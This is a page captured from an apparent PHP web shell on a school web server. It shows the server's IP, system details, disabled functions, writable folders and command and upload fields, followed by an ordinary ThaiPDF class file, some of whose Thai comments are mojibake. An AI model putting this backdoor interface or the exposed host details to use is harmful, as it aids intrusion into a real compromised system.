403Webshell
Server IP : 202.29.229.35  /  Your IP : 13.58.67.129
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/stdcard/system_pdffile/fpdf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/stdcard/system_pdffile/fpdf/ThaiPDF.class.php
<?php

/**********************************************************
ThaiPDF
â´Â: ºÑ­ªÒ  »ÐÊÕÅÐàµÊѧ <banchar_pa@yahoo.com>

Credits:
- Olivier Plathey
- Clement Lavoillotte
- Rick van Buuren
**********************************************************/

require('fpdf.php');

function utf8_to_tis620($string) {
   $str = $string;
   $res = "";
   for ($i = 0; $i < strlen($str); $i++) {
      if (ord($str[$i]) == 224) {
        $unicode = ord($str[$i+2]) & 0x3F;
        $unicode |= (ord($str[$i+1]) & 0x3F) << 6;
        $unicode |= (ord($str[$i]) & 0x0F) << 12;
        $res .= chr($unicode-0x0E00+0xA0);
        $i += 2;
      } else {
        $res .= $str[$i];
      }
   }
   return $res;
}
class ThaiPDF extends FPDF {

//---------------------------------  Features for ThaiPDF --------------------------------


function AddThaiFont($font="") {
	$thaifonts = array(
						"angsana"=>"angsa",
						"browallia"=>"browa",
						"cordia"=>"cordia",
						"dillenia"=>"dill",
						"eucrosia"=>"eucro",
						"freesia"=>"free",
						"iris"=>"iris",
						"jasmine"=>"jasm",
						"kodchiang"=>"kodc",
						"lily"=>"lily",
						"tahoma"=>"tahoma"		
					);
					
	if(!empty($font)) {
		if(array_key_exists($font, $thaifonts)) {
			$thaifonts = array("$font"=>"{$thaifonts[$font]}");
		}
		else {
			echo "<div style=\"width:350px;background-color:#ffffcc;color:green;border:solid 1px red;padding:5px;\">";
			echo "<font size=\"+1\" color=red>¡ÒáÓ˹´¿Í¹µì¼Ô´¾ÅÒ´</font><br />ª×èͿ͹µìä·Â·ÕèÊÒÁÒö¡Ó˹´ä´é:<br />";
			$keys = array_keys($thaifonts);
			for($i=0; $i<count($keys);$i++) {
				echo "- {$keys[$i]} <br />";
			}
			echo "<br />[ËÃ×ÍäÁèÃкت¹Ô´¿Í¹µì ¶éÒµéͧ¡ÒÃà¾ÔèÁ·Ñé§ËÁ´]";
			echo "</div>";
			exit;
		}
	}
	
	$fontnames = array_keys($thaifonts);
	$fontvalues = array_values($thaifonts);
	for($j=0; $j<count($fontnames); $j++) {
		$n  = $fontvalues[$j] . ".php";
		$b = $fontvalues[$j] . "b.php";
		$i = $fontvalues[$j] . "i.php";
		$this->AddFont($fontnames[$j], '', $n);
		$this->AddFont($fontnames[$j], 'B', $b);
		if($fontnames[$j]!="tahoma") {						// Tahoma äÁèÁÕµÑÇàÍÕ§
			$this->AddFont($fontnames[$j], 'I', $i);			
		}
	}		
}

function AddPageNo() {
	$this->AliasNbPages();
}

function WriteLn($h, $text) {
	$this->Write($h, "$text\n");
}
/*
function Header(){
			//$this->AddFont('angsana','B','angsanab.php');
			//$this->AddFont('angsana','','angsana.php');
			//ใช้ตัวอักษร Arial ตัวเอียง ขนาด 5
			$this->SetFont('cordia','',13);
			//พิมพ์ตัวหนังสือตัวเอียงๆ ที่ตำแหน่งเยื้องขอบกระดาษซ้าย 5หน่วย ขอบกระดาษบน 5หน่วย
			//$this->Text(5,8,utf8_to_tis620('หัวกระดาษ'));
			//$this->Text(5,8,utf8_to_tis620('หัวกระดาษ'));
			$this->Cell( 0  , 10 , utf8_to_tis620( '' ) , 0 , 1 , 'C' );
			//ปัดบรรทัด กำหนดความกว้างของบรรทัด 20หน่วย
			$this->Ln(10);
}
*/
function SetPageNo($align, $prefix_str, $separator,$font_family, $font_style, $font_size) {
	$this->pn_prefix = $prefix_str;
	$this->pn_sep = $separator;
	$this->pn_align = strtolower($align);
	$this->pn_ffamily = strtolower($font_family);
	$this->pn_fstyle = strtoupper($font_style);
	$this->pn_fsize = $font_size;
	$this->pn_show = true;
}

function Footer()	{
		//นับจากขอบกระดาษด้านล่างขึ้นมา 10 มม.
		$this->SetY( -10 );
		//กำหนดใช้ตัวอักษร Arial ตัวเอียง ขนาด 5
		//$this->SetFont('Arial','I',6);
		$this->SetFont('cordia','',13);
		$this->Cell(0,6,utf8_to_tis620($this->rm ),0,0,'L');
		//พิมพ์ หมายเลขหน้า ตรงมุมขวาล่าง
		//$this->Cell(0,6,$this->pno ,0,0,'R');
		//$this->Cell(0,6,utf8_to_tis620('หน้าที่ ').$this->PageNo().utf8_to_tis620(' จาก  ').$this->tp ,0,0,'R');
		$this->Cell(0,6,utf8_to_tis620('หน้าที่ ').$this->PageNo(),0,0,'R');
	}

function LineHr($start_x, $start_y, $length) {
	$this->Line($start_x, $start_y, ($start_x + $length), $start_y);
}

function LineVr($start_x, $start_y, $length) {
	$this->Line($start_x, $start_y, $start_x, ($start_y + $length));
}

//---------------------------------  End of ThaiPDF Features --------------------------------


//variables of html parser
private $B;
private $I;
private $U;
private $HREF;
private $fontList;
private $issetfont;
private $issetcolor;

//function hex2dec
//returns an associative array (keys: R,G,B) from
//a hex html code (e.g. #3FE5AA)
private function hex2dec($couleur = "#000000") {
    $R = substr($couleur, 1, 2);
    $rouge = hexdec($R);
    $V = substr($couleur, 3, 2);
    $vert = hexdec($V);
    $B = substr($couleur, 5, 2);
    $bleu = hexdec($B);
    $tbl_couleur = array();
    $tbl_couleur['R']=$rouge;
    $tbl_couleur['G']=$vert;
    $tbl_couleur['B']=$bleu;
    return $tbl_couleur;
}

//conversion pixel -> millimeter in 72 dpi
private function px2mm($px) {
    return $px*25.4/72;
}

private function txtentities($html) {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans = array_flip($trans);
    return strtr($html, $trans);
}

function PDF($orientation='P', $unit='mm', $format='A4') {
    //Call parent constructor
    $this->FPDF($orientation,$unit,$format);
    //Initialization
    $this->B=0;
    $this->I=0;
    $this->U=0;
    $this->HREF='';

    $this->tableborder=0;
    $this->tdbegin=false;
    $this->tdwidth=0;
    $this->tdheight=0;
    $this->tdalign="L";
    $this->tdbgcolor=false;

    $this->oldx=0;
    $this->oldy=0;

    $this->fontlist=array("arial","times","courier","helvetica","symbol");
    $this->issetfont=false;
    $this->issetcolor=false;
}

//////////////////////////////////////
//html parser

function writeHTML($html) {
	$pat = ">[[:space:]]{1,}<";							// <-- á¡éä¢ Bug
	$html = eregi_replace($pat, "><", $html);		// <-- á¡éä¢ Bug
	
    $html=strip_tags($html,"<b><u><i><a><img><p><br><strong><em><font><tr><blockquote><hr><td><tr><table><sup>"); //remove all unsupported tags
    $html=str_replace("\n",'',$html); //replace carriage returns by spaces
    $html=str_replace("\t",'',$html); //replace carriage returns by spaces
    $a=preg_split('/<(.*)>/U',$html,-1,PREG_SPLIT_DELIM_CAPTURE); //explodes the string
    foreach($a as $i=>$e) {
        if($i%2==0) {
            //Text
            if($this->HREF) {
                $this->PutLink($this->HREF,$e);
			}
            else if($this->tdbegin) {
                if(trim($e)!='' && $e!="&nbsp;") {
                    $this->Cell($this->tdwidth,$this->tdheight,$e,$this->tableborder,'',$this->tdalign,$this->tdbgcolor);
                }
                elseif($e=="&nbsp;") {
                    $this->Cell($this->tdwidth,$this->tdheight,'',$this->tableborder,'',$this->tdalign,$this->tdbgcolor);
                }
            }
            else {
                $this->Write(5,stripslashes(ThaiPDF::txtentities($e)));
			}
        }
        else {
            //Tag
            if($e[0]=='/') {
                $this->CloseTag(strtoupper(substr($e,1)));
			}
            else {
                //Extract attributes
                $a2=explode(' ',$e);
                $tag=strtoupper(array_shift($a2));
                $attr=array();
                foreach($a2 as $v) {
                    if(preg_match('/([^=]*)=["\']?([^"\']*)/',$v,$a3)) {
                        $attr[strtoupper($a3[1])]=$a3[2];
					}
                }
                $this->OpenTag($tag,$attr);
            }
        }
    }
}

function OpenTag($tag, $attr) {
    //Opening tag
    switch($tag) {

        case 'SUP':
            if(!empty($attr['SUP'])) {    
                //Set current font to 6pt     
                $this->SetFont('','',6);
                //Start 125cm plus width of cell to the right of left margin         
                //Superscript "1" 
                $this->Cell(2,2,$attr['SUP'],0,0,'L');
            }
            break;

        case 'TABLE': // TABLE-BEGIN
            if(!empty($attr['BORDER'])) {
				$this->tableborder=$attr['BORDER'];
			}
            else {
				$this->tableborder=0;
			}
            break;
			
        case 'TR': //TR-BEGIN
            break;
			
        case 'TD': // TD-BEGIN
            if(!empty($attr['WIDTH'])) {
				$this->tdwidth=($attr['WIDTH']/4);
			}
            else {
				$this->tdwidth=50; // Set to your own width if you need bigger fixed cells (old value  is 40)
			}
            if(!empty($attr['HEIGHT'])) {
				$this->tdheight=($attr['HEIGHT']/6);
			}
            else {
				$this->tdheight=8; // Set to your own height if you need bigger fixed cells (old value is 6)
			}
            if(!empty($attr['ALIGN'])) {
                $align=strtoupper($attr['ALIGN']);   	// <-- á¡éä¢ Bug
                if($align=='LEFT')  {
					$this->tdalign='L';
				}
                if($align=='CENTER')  {
					$this->tdalign='C';
				}
                if($align=='RIGHT')  {
					$this->tdalign='R';
				}
            }
            else {
				$this->tdalign='L'; // Set to your own
			}
            if(!empty($attr['BGCOLOR'])) {
 				$coul=ThaiPDF::hex2dec($attr['BGCOLOR']);
                $this->SetFillColor($coul['R'],$coul['G'],$coul['B']);
  				$this->tdbgcolor=true;
           }
           $this->tdbegin=true;
           break;

        case 'HR':
            if(!empty($attr['WIDTH'])) {
                $Width = $attr['WIDTH'];
			}
            else {
                $Width = $this->w - $this->lMargin-$this->rMargin;
			}
			
            $x = $this->GetX();
            $y = $this->GetY();
            $this->SetLineWidth(0.2);
            $this->Line($x,$y,$x+$Width,$y);
            $this->SetLineWidth(0.2);
            $this->Ln(1);
            break;
        case 'STRONG':
            $this->SetStyle('B',true);
            break;
        case 'EM':
            $this->SetStyle('I',true);
            break;
        case 'B':
        case 'I':
        case 'U':
            $this->SetStyle($tag,true);
            break;
        case 'A':
            $this->HREF=$attr['HREF'];
            break;
        case 'IMG':
            if(isset($attr['SRC'])) {															// <-- á¡éä¢ Bug
				//if((isset($attr['WIDTH']) || isset($attr['HEIGHT']))) {
               	 	if(!isset($attr['WIDTH'])) {
                    	$attr['WIDTH'] = 0;
					}
                	if(!isset($attr['HEIGHT'])) {
                    	$attr['HEIGHT'] = 0;
					}
				//}
                $this->Image($attr['SRC'], $this->GetX(), $this->GetY(),ThaiPDF::px2mm($attr['WIDTH']),ThaiPDF::px2mm($attr['HEIGHT']));
            }
            break;
        case 'BLOCKQUOTE':
        case 'BR':
            $this->Ln(5);
            break;
        case 'P':
            $this->Ln(10);
            break;
        case 'FONT':
            if(isset($attr['COLOR']) && $attr['COLOR']!='') {
                $coul=ThaiPDF::hex2dec($attr['COLOR']);
                $this->SetTextColor($coul['R'],$coul['G'],$coul['B']);
                $this->issetcolor=true;
            }
            if(isset($attr['FACE']) && in_array(strtolower($attr['FACE']), $this->fontlist)) {
                $this->SetFont(strtolower($attr['FACE']));
                $this->issetfont=true;
            }
            if(isset($attr['FACE']) && in_array(strtolower($attr['FACE']), $this->fontlist) && isset($attr['SIZE']) && $attr['SIZE']!='') {
                $this->SetFont(strtolower($attr['FACE']),'',$attr['SIZE']);
                $this->issetfont=true;
            }
            break;
    }
}

function CloseTag($tag) {
    //Closing tag
    if($tag=='SUP') {
	
    }

    if($tag=='TD') { // TD-END
        $this->tdbegin=false;
        $this->tdwidth=0;
        $this->tdheight=0;
        $this->tdalign="L";
        $this->tdbgcolor=false;
    }
    if($tag=='TR') { // TR-END
        $this->Ln();
    }
    if($tag=='TABLE') { // TABLE-END
        //$this->Ln();
        $this->tableborder=0;
    }

    if($tag=='STRONG') {
        $tag='B';
	}
    if($tag=='EM') {
        $tag='I';
	}
    if($tag=='B' || $tag=='I' || $tag=='U') {
        $this->SetStyle($tag,false);
	}
    if($tag=='A') {
        $this->HREF='';
	}
    if($tag=='FONT') {
        if($this->issetcolor==true) {
            $this->SetTextColor(0);
        }
        if($this->issetfont) {
            $this->SetFont('arial');
            $this->issetfont=false;
        }
    }
}

function SetStyle($tag, $enable) {
    //Modify style and select corresponding font
    $this->$tag+=($enable ? 1 : -1);
    $style='';
    foreach(array('B','I','U') as $s) {
        if($this->$s>0) {
            $style.=$s;
		}
    }
    $this->SetFont('',$style);
}

function PutLink($URL, $txt) {
    //Put a hyperlink
    $this->SetTextColor(0,0,255);
    $this->SetStyle('U',true);
    $this->Write(5,$txt,$URL);
    $this->SetStyle('U',false);
    $this->SetTextColor(0);
}

}//end class

?>

Youez - 2016 - github.com/yon3zu
LinuXploit